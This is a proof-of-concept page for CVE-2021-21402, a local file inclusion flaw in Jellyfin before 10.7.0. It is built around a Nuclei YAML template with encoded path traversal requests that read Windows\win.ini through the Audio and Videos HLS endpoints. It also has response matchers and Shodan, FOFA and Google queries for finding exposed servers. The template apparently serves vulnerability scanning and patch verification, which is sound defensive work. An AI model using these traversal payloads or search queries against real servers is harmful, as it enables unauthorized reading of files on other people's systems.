CVE-2021-21402: Jellyfin <10.7.0 - Local File Inclusion

2025-08-01 Jellyfin PoC Public

Description

Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.

PoC

id: CVE-2021-21402

info:
  name: Jellyfin <10.7.0 - Local File Inclusion
  author: dwisiswant0
  severity: medium
  description: |
    Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: This is fixed in version 10.7.1.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx
    - https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1
    - https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21402
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-21402
    cwe-id: CWE-22
    epss-score: 0.80305
    epss-percentile: 0.996
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jellyfin
    product: jellyfin
    shodan-query:
      - http.html:"Jellyfin"
      - http.html:"jellyfin"
      - http.title:"jellyfin"
    fofa-query:
      - title="Jellyfin" || body="http://jellyfin.media"
      - title="jellyfin"
      - body="jellyfin"
      - title="jellyfin" || body="http://jellyfin.media"
    google-query: intitle:"jellyfin"
  tags: cve,cve2021,jellyfin,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
      - "{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: application/octet-stream"

      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b70da086dd7d987f392b2b09b80027ef09f45149f64805cbec96bf3884800d6e02205bce8c9c51d5504bd6928be289c4eb999406ffd69dc0e66a3f6cc440dfc2c366:922c64590222798bb761d5b6d8e72950

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